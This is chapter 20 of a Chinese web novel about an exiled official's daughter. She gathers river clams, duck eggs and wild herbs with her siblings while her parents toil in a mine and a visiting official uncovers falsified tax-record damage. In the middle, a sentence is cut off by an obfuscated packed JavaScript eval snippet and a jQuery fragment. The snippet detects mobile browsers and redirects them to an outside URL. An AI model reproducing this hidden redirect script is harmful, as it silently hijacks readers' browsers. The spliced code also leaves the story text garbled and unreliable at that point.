20. 河沙坝拾荒

作品:《流放后,在吊脚楼里卖茶食

    “轰——”


    赵里正家中,晚膳后众人围坐火塘闲聊,忽闻窗外惊雷,遮窗帐子被风吹得飒飒作响。


    “眼瞧着要下暴雨了,大郎的帐子还没换!”梅岭急急起身,撩起盘花隔帘出了去。


    雷鸣起身欲追,又猛地顿住,同一旁缝鞋底的巧姑道:“婶子,记得将芙娘屋中的软帐换了。”


    “自有娘操心,快回屋收拾去,汗衫、裆裤儿扔得到处都是,就等着梅岭给你捡!”何娘子挥挥手,故作嫌弃地赶他出去。


    斜了眼偷笑的露芽,紫笋怪调道:“梅姐姐就爱帮哥收拾。”


    “胡乱攀扯你梅姐姐作甚。”雷鸣警告地瞪了大妹一眼,见戚丹芙盯着亮晃晃的火塘不言语,黑红着脸退了出去。


    火塘上坐个圆肚长嘴茶壶,里头温着喝剩的豆浆,紫笋有一搭没一搭地往里丢着桂皮、干枣和橘子皮,窝在何娘子怀中的小郎轻咳了两声,何娘子摸了摸他的额头,切了两片生姜扔进去,又翻出去岁的陈茶添上。


    一人热乎乎地喝了碗,就各自回了屋。


    戚丹芙领着弟妹,将骡车上的毛毡毯子拿了下来,回屋就见巧姑给他们屋换了猩红毡帐。


    抱着软帐往外走的巧姑,状似不经意道:“大郎心细,其实娘子被褥厚再加上毡毯,断不会受凉的。”


    见她淡笑着点头,巧姑又说:“任我说,男人就是贱,你越不给他好脸色,他越巴巴贴上来,反是那一心为他好的,倒成了热脸贴人冷屁股了。”


    “您是在说赵里正?”她挑眉笑看巧姑,扬声不赞同道,“议论主家怕是不妥罢。”


    “我何时……娘子可不能胡说!”巧姑快步探出门外,左右瞧了瞧,方松了口气,就被她一掌推攘了出来。


    拴上门栓,她柔声道:“巧姑早些歇息罢,都开始说梦话了!”


    小妹走上前来,拉着阿姐,脸皱成了婆婆饼:“不给好脸色都贴上来,给了岂不是甩不掉!”


    “连我小妹都懂的道理,有些人就是装聋作哑!”弯腰抱起然宝,一面蹭蹭她的小脸,一面往床边走去。


    秋雷阵阵,她们方入睡,外头就响起了瓢泼的雨声。一阵轻微的抽泣,将浅眠的她唤醒,发现小妹正缩在她怀中不停颤抖。


    “怎了?”搂紧小妹,她一面轻拍,一面追问。


    “我……我梦见阿耶阿娘了!”小妹抽噎着,“他们背着好大好大的石头,呜呜呜——”


    轻拍小妹的手一顿,她又想起了大山口中,两匹山外流放罪臣的矿场。


    雅州,矿场


    深山里更凉些,雨里夹着雪星子,将茅草顶压得低低的。


    陆正虽是文官,但为给妻子分两块饼,主动要求去凿硬岩,镐头震得虎口开裂,血混着矿灰,结成黑红的痂。


    他娘子伍瑛打来雨水给他洗手,一沾水,伤口疼得他闷哼一声,瑛娘包不住泪:“你这手……往后还怎写字啊!”


    “能活命就成。”陆正故作轻松地笑笑,从怀中掏出个竹筒,里头装了捣碎的草药。


    “何处来的?”她一面问,一面解开衣带,双肩遭背石头的竹篾筐磨得血肉模糊。


    陆正小心翼翼将草药铺在伤处:“给监工画了份图求的,我还同他打听了,可自学鼓风、辨矿等技,经少府监核试,能从工奴升做官雇匠,给口粮、绢,还不用再挖原矿了。”


    草药凉丝丝的,疼得她一哆嗦,心里却是暖的。这就是她的夫君,昔日为京兆尹,能摆平各方势力,如今在矿洞也能找到活路。


    夜里,两人挤在硬木板上,将所有衣衫都裹上仍冻得发抖,瑛娘忽而道:“我今儿听老妇说,矿场西面有片野地,能挖野菜,明日下工若早,我去瞧瞧。”


    “我同你去。”


    “你别去,白日累,傍晚还要帮着画图,手也烂成这样了,土一泡更好不了了,还怎升匠啊。”瑛娘顿了顿,“况且,我想一个人待会儿。”


    陆正恍然过来,她定是想孩子了,黑暗中,他听见妻子极轻的啜泣声,他伸手紧紧搂住她,两人在寒夜里相依为命。


    “戚方盈,能好生待他们吗,她自来不喜他们!”瑛娘终是没忍住,颤抖着说出心头的担忧,不禁泪流满面,“我那苦命的孩子,是真的……没了吗?”


    陆正眸中闪过一道愤恨,他一辈子没做过坏事,落得这般下场也就认了,为何贼老天要这般折磨他的妻儿。


    “放心,我留了后手。”


    他早在与杨国忠周旋时,就与一些旧友在明面上划清了界限,希望他们能帮上忙,他拼命安慰自己,但其实也知道,事情方发生之际,旧友为保全自身恐都不敢出手,希望戚方盈至少有两分良心,多收留他们一段时日。


    愈想愈觉心慌,他忽而道:“矿场管事后日要来,我去拜见。”


    “咱们如今是流人,他会见……”瑛娘犹豫道。


    “总会有办法的。”他眸中微弱的光愈发坚定,“孩子们等不了了,我得找机会联系上京中,再求求人……”


    雨雪重重砸着屋顶,呜咽如泣,掩盖了两夫妻的夜话。


    一场秋雨一场寒,戚丹芙晨起就给自己和小妹穿上了厚夹袄,见外头的天已放晴,她同何娘子借了一叶扁舟,预备去分给她的沙地瞧瞧。


    湿竹子是没法砍了,但恰逢雨后,她去沙地捡些河蚌,壳子锤成末就是徐掌墨要的贝壳粉。


    “阿娘!阿娘!我也想去!”正逗猫的小郎听见了,忙追着要去,嚷嚷声又引来了紫笋、露芽。


    最终,一行七人,搬出艘不小的乌篷船,上了江。


    小娃挤在乌篷里躲风,何娘子和戚丹芙一头一尾摇着船,顺着江流,从村西至村南的吊脚楼,只用了半盏茶的功夫,临近沙地,何娘子扔下了早早预备好的渔网。


    深秋的鱼儿,为储备过冬的肥膘,很是能争食儿,麻罾网一撒,就从四面八方围拢来,往中央系着的螺肉处挤。


    “这儿的鱼够肥啊!”何娘子扎着马步,费了老鼻子劲方将渔网拉了上来,笑呵呵地往鸡笼筛里装鱼。


    “鲶巴郎就是肥,三条都比我小臂粗!还长!”何娘子双手抓鱼同戚丹芙介绍道,“肉多刺少,还没鳞,最好打理了!”


    小娃们也跑了出来,围着渔网,露芽指着眼圈朱红的鱼道:“阿娘!是火烧眼!能给大姐留着下奶!”


    数着十三条赤眼鳟,何娘子听得连连点头,寻思让回城的大郎给他大妹捎去。大闺女嫁去了雅州府,如今怀着九个月,这些下奶的吃食却是能先预备上。


    “你就认识赤眼鳟!”紫笋冷哼道,“我们雅州的雅鱼不见你识得!”


    “雅鱼?!”戚丹芙不禁惊呼出声。


    雅鱼肉质紧致细嫩,味道鲜美,砂锅雅鱼更是道川味名菜。


    父亲曾手把手教过她,鱼身两侧开的花刀要浅,成一字,再用花椒叶汁、井盐去腥。


    腌上一刻钟后,取土鸡、鸭架和猪肘同冷水下锅,中小火炖成奶汤,再加入江虾壳、鱼骨架先炸后熬出的“虾骨白”。


    砂锅内垫姜片、葱段,先放入鸡块、猪肚条和火腿片等“厚味”,再注入奶白汤。


    汤滚后,方可下雅鱼和豆腐块,炖个半盏茶的功夫,只需加盐、胡椒两味,就能鲜掉舌头。


    光听她描述,小郎就连连咽口水,也不玩活蹦乱跳的鱼了,直往她怀里钻,被小弟一把捏住了后颈窝。


    行至回水湾,沙地还浸着夜潮,戚丹芙帮着弟妹挽高裤腿,一脚踩下去“咕唧”作响。


    何娘子站在船头同她道:“江上鱼多,我多打些给大郎大妹送去!”


    听娘这般道,紫笋和露芽都不好意思自个儿去玩了,也忙说要帮着收网,最爱玩沙的小郎竟也不下船,守着雅鱼,唤娘多打几条。


    “日头更亮些,我就来接你们!”何娘子划着船远去,戚丹芙同弟妹深一脚浅一脚往岸边走。


    江湾成片的小洼里长满了水芹和芦苇,稍高的潮线则被野茭白占满。


    先掐把水芹,垫在背篓底,扒开芦苇竟见到窝野鸭蛋,正往背篓里收,就听小妹惊呼道:“阿姐!这儿也有!”


    留两三个照窝,她收了小半篓就停手了,又拔起了埋沙的嫩茭白。


    “好辛!”小妹连打两个喷嚏,没忍住叫道,她忙扭头,就瞧见东面的石缝、江洼插了一排排小红鞭,跑过去用手一揉,弥散开一阵辛辣清香,她不禁兴奋道:“辣蓼!”


    秋日茎叶转红的辣蓼,辛辣味最重,甚至能当野辣椒用,比茱萸更多了几分辣,还带着橘柑皮的清香和类似胡椒的味道,对于戚丹芙这个嗜辣如命的人来说,简直是天赐福音。


    割了两把放进背篓里,姐弟三人终于专注捡贝。


    无人捡拾过的江边,走几步就能捡到长满绿藻胡子的老蚌、大蛤蜊,她猜测里头应有珍珠,专挑个大或花纹好的蚌,也不过半个时辰,他们的背篓就都装满了。


    村西江心洲,税关口


    歇息了一夜,齐满领着崔兰泽来税关视察,只见来往舟船井然有序,税吏们手脚麻利又干净。


    “这个演得尚可,推脱贿款犹犹豫豫,显得更为真实;这个随机应变得当,惯性伸手要钱改为亲切拍肩;这个表情僵硬,平日肃脸威胁,今儿非要笑得和蔼,扣分!”


    崔兰泽起了两分兴致,暗自给他们的表演打分,嘴角扬起极淡的笑,领路的齐满却是后脖颈一凉,忙引着他往早准备好的戏台去。


    昨日空船的位置换成了另一艘相似的船,连吃水的深度都一模一样,还故意卷起舱帘,让崔兰泽瞧见了里头堆满的货物。


    见他瞥了一眼便不再多看,心头松了口气,却听他忽而道:“齐税丞,来往舟船运的何物、送去何处我也瞧不明白,先引我去档案房瞧瞧他们交税的账目罢。”


    齐满一脸惶恐,忙快步引他去了洲尾的内院,他方进屋,齐满便领着众


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973443|192628||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    税吏跪了下来。


    “下官该死,江心洲潮湿,多蛀虫白蚁,我等已竭力防虫,前日检查仍发现几处柜板遭了白蚁,连着里头的几卷老账都给蛀空了!”


    “白蚁?”崔兰泽蹲下身,用随身携带欲查验茶叶的镊子,夹起一片木屑,对着窗外的天光细看,神色未变,声音平淡,“齐税丞,你来了此地几年了?”


    齐满一愣:“八年。”


    “八年未曾查过旧账?没检出被白蚁蛀了?”用眸光斜着他,嘴角露出一丝轻蔑的笑,“玩忽职守?”


    “不……不是,我每月都查,这是近来蛀的!”齐满镇定道,“大人来自京中,不知这穷乡僻壤的白蚁有多厉害,能飞满一屋子,密密麻麻无法驱除,我等真的尽力了!”


    “齐税丞。”他心头涌上阵厌倦,“来了八年,你见过秋深时节跃蛹的白蚁吗?满口胡言、蠢笨如猪!”


    齐满被直白的羞辱骂得呆滞了一瞬,随之气红了脸,张口就欲解释:“为防潮湿模糊字迹,屋内终日柴火保温……”


    “听不懂跃蛹二字?”崔兰泽径直打断他:“蛀孔边缘齐整,无虫粪堆积,是先用细凿刨薄,再以粗砂磨出的,别再想些例外情形开脱了。”


    屋内静得能听见江水声,齐满未尽之言堵在喉咙,红脸都憋青了。


    起身理了理衣袖,他目光扫过匍匐跪地的众人,落在面色青转白的齐满脸上:“既然是年久失修,便该好生修葺,库房重地,岂能儿戏?”


    齐满忙磕头称是。


    “我初来乍到,正愁无功可叙,今日便为齐税丞请一道修缮款项。”他提笔蘸墨,笔尖悬于纸上三寸,“你说,该请多少?”


    齐满咽了咽口水,悬着的心放下一半又吊起一半。


    若是愣头青就应即刻上报,惩处他们,让他们悬着的心彻底死了,他也能唬得大伙儿放手一搏;若是老油子就应敲打他们一番立威后,心照不宣地遮掩过去的丑事,让他们悬着的心彻底放下。


    怎会有人不揭发,还要主动上书请款的?


    “这……下官不敢妄议。”摸不准他的套路,齐满真不敢多说了。


    “那便按例。”崔兰泽落笔,“库房四间,地砖百六十块,木架四十八扇,账目……”


    他一桩桩报着,每报一项,便有人低着的头更低一度,这些数目太准了,准得像他昨夜已拿尺子量过、用算盘拨过。


    此时,戚丹芙和弟妹将满载的背篓立在江边的大石上,等说来接他们的何娘子。


    小弟闲得无事,捡了片上游冲下来的碎瓷片,在沙地上教小妹练字。戚丹芙也跟着学、跟着练,大多繁体字她都识得,但也有些变形太过的需要牢记。


    书写残有几分硬笔书法的风骨,但同小弟一比却是惨不忍睹。


    她正悄悄脸红,却不知小弟望向她的眼中闪过几丝狐疑,顷刻又被他抛之脑后。


    “来年开春,我送你们去族学,里正说了,你们都可入学。”戚丹芙蹲下身,摸了摸两人的头,轻声道。


    “花销几许?若贵了,我就不去了,反正我听巧姑说,女子无才便是德。”小妹忧愁地望着阿姐,她已经不是不知柴米贵的官家千金了,不想再给家中增添负担。


    “别听她胡扯。不读书,不识字,连契书都看不明白,被人卖了也不知!”她眉心一竖,正色道,心头盘算要让巧姑少同小妹接触,早日搬出里正家。


    “我会识字了,我可以不去,多帮姐姐干些农活养家。”小弟闷闷道,阿耶的经历让他深觉读书无用,就算坐上大官也不过是上头的一句话,就会被一撸到底还连累家人。


    看出小弟的心结,她也不知如何劝解,因为她知道,以后的官场只会更加黑暗,以后的大唐只会更加颓然。


    “去读罢,上学是为了明理,也不就只是做官这一条路,何况阿姐这般大不好意思进学,你同小妹去学了回来教我,再护着小妹,她年纪小被欺负了可如何是好。”


    见阿姐这般苦口婆心,小弟点头应了下来,只是心中仍不想去,正犯难,何娘子划着船来接他们了。


    “怎不见紫笋他们?”戚丹芙见船上只余半人高的桶,忙问道。


    “怕他们在江上玩久了着凉,我先送他们回去了。”何娘子喜洋洋道,“鱼网得太多,也要先送家去,这是我留给你的,你不是买了水缸?正巧先养着!”


    推辞不过,她也只好应下,何娘子还骄傲地介绍着有鳞的鲤拐子,无磷的松浦鲤,头壳硬如铜的水老虎,身肥唇尖的江团……


    船划过吊脚楼下的悬崖,何娘子又指着崖下的长脚道:“日后在这几根柱子上圈了网,就能围个鱼塘,将喜欢吃的鱼养着,随时能吃!”


    她本就如此打算的,听后点头附和,摇着船缓缓靠岸。摇着船行至坡地,坡上的娘子们已然开工。


    “芙娘子——早——”远处传来道问候,她回头一看,远处的江上飘来一叶舴艋舟。